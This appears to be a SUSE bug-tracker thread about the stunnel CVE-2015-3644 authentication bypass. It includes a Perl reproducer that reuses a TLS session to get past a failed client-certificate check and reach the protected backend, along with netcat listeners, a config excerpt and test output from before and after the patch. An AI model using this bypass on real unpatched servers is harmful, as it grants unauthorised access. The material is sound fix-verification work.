Looks like only SLE-12 is affected with version 5.00. SLE-11-SP3 has 4.54.

https://www.stunnel.org/CVE-2015-3644.html

Exploitability

The vulnerability is exploitable under the following conditions:

    Stunnel versions 5.00 to 5.13 inclusive.
    Server mode mode is enabled with "client = no" (which is the default).
    Certificate-based authentication is enabled with "verify = 2" or higher.
    The "redirect" option is used.

bugbot adjusting priority

Security team handling submission.

Here is a reproducer script ans a quick guide how to set up and use it to verify the bug fix:

stunnel_cve_test.pl:
----------------------------------------------------------------------------

#!/usr/bin/perl

use strict;
use IO::Socket::SSL;

my $client = IO::Socket::SSL->new(
  PeerHost => "xen.hwlab.suse.de",
  PeerPort => "8080",
  SSL_key_file => "stunnel_client.pem",
  SSL_cert_file => "stunnel_client.pem",
  SSL_session_cache_size => '10',
  SSL_use_cert => "1"
  ) || die "I encountered a problem: ".IO::Socket::SSL::errstr();

print "First:\n";

print $client "GET /first HTTP/1.0\r\n\r\n";
print <$client>;

$client->close();

sleep 1;

my $client2 = IO::Socket::SSL->new(
  PeerHost => "xen.hwlab.suse.de",
  PeerPort => "8080",
  SSL_key_file => "stunnel_client.pem",
  SSL_cert_file => "stunnel_client.pem",
  SSL_use_cert => "1",
  SSL_session_cache_size => '10',
  SSL_reuse_ctx => $client
  ) || die "I encountered a problem: ".IO::Socket::SSL::errstr();

print "Second:\n";

print $client2 "GET /second HTTP/1.0\r\n\r\n";
print <$client2>;

$client2->close();
----------------------------------------------------------------------------

redirect_listen.sh:
----------------------------------------------------------------------------
while true ; do netcat -l 80 < redirect.txt; done
----------------------------------------------------------------------------

original_listen.sh:
----------------------------------------------------------------------------
while true ; do netcat -l 1080 < original.txt ; done
----------------------------------------------------------------------------

*** Before the patch ***

Run redirect_listen.sh and original_listen.sh on the stunnel server. These print the contents of the redirect.txt and original.txt files respectively when you connect to ports 1080 or 80 and will give you an indication whether or not the connection was correctly redirected.

stunnel_client.pem (used in the perl script above) is a valid certificate/key file, but it is unknown to the stunnel server. So it should fail authentication.

Run stunnel in certificate authentication mode, define a service that connects to port 1080 and redirects to port 80 on failure. for example:

/etc/stunnel/stunnel.conf (excerpt)
----------------------------------------------------------------------------
[...]
verify = 2
CAfile = /etc/stunnel/stunnel.pem
cert = /etc/stunnel/stunnel.pem

[8080 Server]
accept = 8080
connect = 1080
redirect = 80

[...]
----------------------------------------------------------------------------

stunnel.pem is a valid certificate/key file, but it is different from the client certificate, so the authentication should fail.

Now run the perl script from your client. It displays:

dabatianni@vulpesvelox:~> ./stunnel_test.pl 
First:
Redirected


Second:
Original


So the second connection attempt was successful, which is the reprodiction of the problem.

*** After the patch ***

Install the patch, then run the perl script again:

dabatianni@vulpesvelox:~> ./stunnel_test.pl
First:
Redirected


Second:

This time, no connection is made at the second attempt, but an error message is written in the stunnel log:

2015.06.09 14:30:15 LOG6[18325]: SSL accepted: previous session reused
2015.06.09 14:30:15 LOG3[18325]: No application data found in the reused session

This confirms the fix.

(In reply to Dario Abatianni from comment #15)
> Second:
> 
> This time, no connection is made at the second attempt, but an error message
> is written in the stunnel log:
> 
> 2015.06.09 14:30:15 LOG6[18325]: SSL accepted: previous session reused
> 2015.06.09 14:30:15 LOG3[18325]: No application data found in the reused
> session
> 
> This confirms the fix.

Dario, just one word: awesome! Thanks for your great work!

SUSE-SU-2015:1062-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931517
CVE References: CVE-2015-3644
Sources used:
SUSE Linux Enterprise Server 12 (src):    stunnel-5.00-3.1

fixed